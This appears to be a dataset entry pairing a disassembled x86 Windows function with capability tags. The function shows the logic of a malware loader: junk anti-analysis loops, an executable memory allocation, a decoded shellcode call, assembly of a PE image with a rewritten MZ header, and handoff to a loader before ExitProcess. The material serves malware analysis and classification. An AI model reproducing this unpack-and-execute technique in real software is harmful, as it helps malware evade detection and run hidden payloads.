Function at 0x401e70
Capabilities:
Parse pe header
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f4
mov eax, dword [0x40a2c4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x2d2]
push ecx
mov word [ebp - 0x2d4], ax
call fcn.00402280
push 0x5005
push 0x551
push 0x508493
call fcn.00401e60
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
add esp, 0x18
push str.kernel32.dll
mov dword [0x40ade0], eax
call esi
push str.ntdll.dll
mov dword [0x40ae24], eax
call esi
mov dword [0x40ae28], eax
mov dword [ebp - 0x2dc], 0
mov ecx, 5
jmp 0x401ef0
cmp dword [ebp - 0x2dc], 0x35a4eded
jbe 0x401efe
xor ecx, ecx
mov eax, 7
sub eax, 1
cmp eax, 0xa
je 0x401f10
add eax, 2
jmp 0x401f18
lea eax, [ebp - 0x2dc]
xor eax, eax
xor eax, eax
inc dword [ebp - 0x2dc]
test ecx, ecx
jne 0x401ef0
call fcn.004011b0
call fcn.00401030
xor ecx, ecx
xor eax, eax
cmp eax, ecx
je 0x401f78
inc eax
cmp eax, 0xf
jb 0x401f32
xor eax, eax
mov edx, dword [ecx*4 + 0x40a1cc]
inc ecx
mov dword [edx], eax
cmp ecx, 0xf
jb 0x401f30
push 0x104
lea eax, [ebp - 0x2d4]
push eax
push 0
call dword [0x40ae20]
test eax, eax
jne 0x401f84
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402262
mov esp, ebp
pop ebp
ret 0x10
lea edx, [eax + eax*2]
mov eax, dword [edx*4 + 0x40a120]
jmp 0x401f3e
mov ecx, dword [0x40ade0]
push 0xb9
push 8
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x2d8], eax
test eax, eax
je 0x401f65
push ebx
push edi
mov edi, eax
mov ecx, 0x2e
mov esi, 0x40a208
rep movsd dword es:[edi], dword [esi]
push 0x40
push 0x3000
push 0xb9
push 0
push 0xffffffffffffffff
movsb byte es:[edi], byte [esi]
call dword [0x40ae00]
mov ebx, eax
xor esi, esi
mov dword [ebp - 0x2ec], ebx
cmp ebx, esi
jne 0x402000
mov edx, dword [ebp - 0x2d8]
mov eax, dword [0x40ade0]
push edx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop ebx
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402262
mov esp, ebp
pop ebp
ret 0x10
mov ecx, dword [ebp - 0x2d8]
push 4
push str.5849
push 0xb9
push ebx
push ecx
call fcn.00401780
mov eax, dword [0x40adf4]
mov ecx, dword [0x40adf0]
lea edx, [ebp - 0x2e8]
push edx
mov edx, dword [0x40adec]
push str.SF4NROP11
push fcn.004010c0
push fcn.004023b0
push eax
mov eax, dword [0x40ade8]
push ecx
push edx
push eax
mov dword [ebp - 0x2e8], esi
call ebx
mov edi, eax
add esp, 0x34
cmp edi, esi
je 0x40224a
mov ecx, dword [ebp - 0x2e8]
push 7
push ecx
push edi
call fcn.00401190
add esp, 0xc
cmp dword [edi], 0xbf308aa
jne 0x40223c
mov eax, dword [edi + 8]
cmp eax, esi
je 0x40223c
cmp dword [edi + 4], esi
je 0x40223c
push eax
call fcn.004010c0
add esp, 4
mov dword [ebp - 0x2f4], eax
mov dword [ebp - 0x2e0], esi
cmp eax, esi
jne 0x4020b7
push edi
call fcn.004010e0
add esp, 4
jmp 0x40224a
push esi
mov dword [ebp - 0x2f0], esi
mov dword [ebp - 0x2e4], esi
call fcn.004019f0
push eax
lea edx, [ebp - 0xcc]
push 0x407140
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
cmp dword [edi + 4], esi
je 0x4021a8
mov dword [ebp - 0x2d8], esi
mov edi, edi
mov edx, dword [0x40adf4]
lea eax, [ebp - 0x2f0]
push eax
mov eax, dword [0x40adf0]
lea ecx, [ebp - 0xcc]
push ecx
mov ecx, dword [0x40adec]
push fcn.004010c0
push fcn.004023b0
push edx
mov edx, dword [0x40ade8]
push eax
push ecx
push edx
call ebx
mov esi, eax
add esp, 0x20
test esi, esi
je 0x402171
mov ebx, dword [ebp - 0x2f0]
test ebx, ebx
je 0x40216b
mov eax, dword [ebp - 0x2e0]
add eax, dword [ebp - 0x2f4]
push ebx
push esi
push eax
call fcn.004023b0
add dword [ebp - 0x2e0], ebx
inc dword [ebp - 0x2e4]
add dword [ebp - 0x2d8], 0x9ef
push esi
call fcn.004010e0
add esp, 0x10
mov ebx, dword [ebp - 0x2ec]
mov edx, dword [ebp - 0x2d8]
push edx
call fcn.004019f0
push eax
lea eax, [ebp - 0xcc]
push 0x407140
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 0x2e4]
add esp, 0x10
cmp ecx, dword [edi + 4]
jne 0x4020f0
mov esi, dword [ebp - 0x2e0]
cmp esi, dword [edi + 8]
jne 0x40224a
mov edx, dword [ebp - 0x2e4]
cmp edx, dword [edi + 4]
jne 0x40224a
push esi
call fcn.004010c0
mov esi, eax
add esp, 4
test esi, esi
je 0x402234
mov eax, dword [edi + 0x8c]
mov ebx, dword [ebp - 0x2f4]
push eax
add edi, 0xc
push edi
mov edi, dword [ebp - 0x2e0]
push edi
push esi
push ebx
call fcn.00401780
push 4
push edi
push esi
call fcn.00401190
push ebx
mov word [esi], 0x5a4d
call fcn.004010e0
mov ecx, 0x5a4d
add esp, 0x24
cmp word [esi], cx
jne 0x402234
mov eax, dword [esi + 0x3c]
add eax, esi
je 0x402234
cmp dword [eax], 0x4550
jne 0x402234
lea edx, [ebp - 0x2d4]
push esi
push edx
call fcn.004013e0
push esi
call fcn.004010e0
add esp, 0xc
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x40ade0]
push edi
push esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [ebp - 4]
pop edi
pop ebx
xor ecx, ebp
mov eax, 1
pop esi
call fcn.00402262
mov esp, ebp
pop ebp
ret 0x10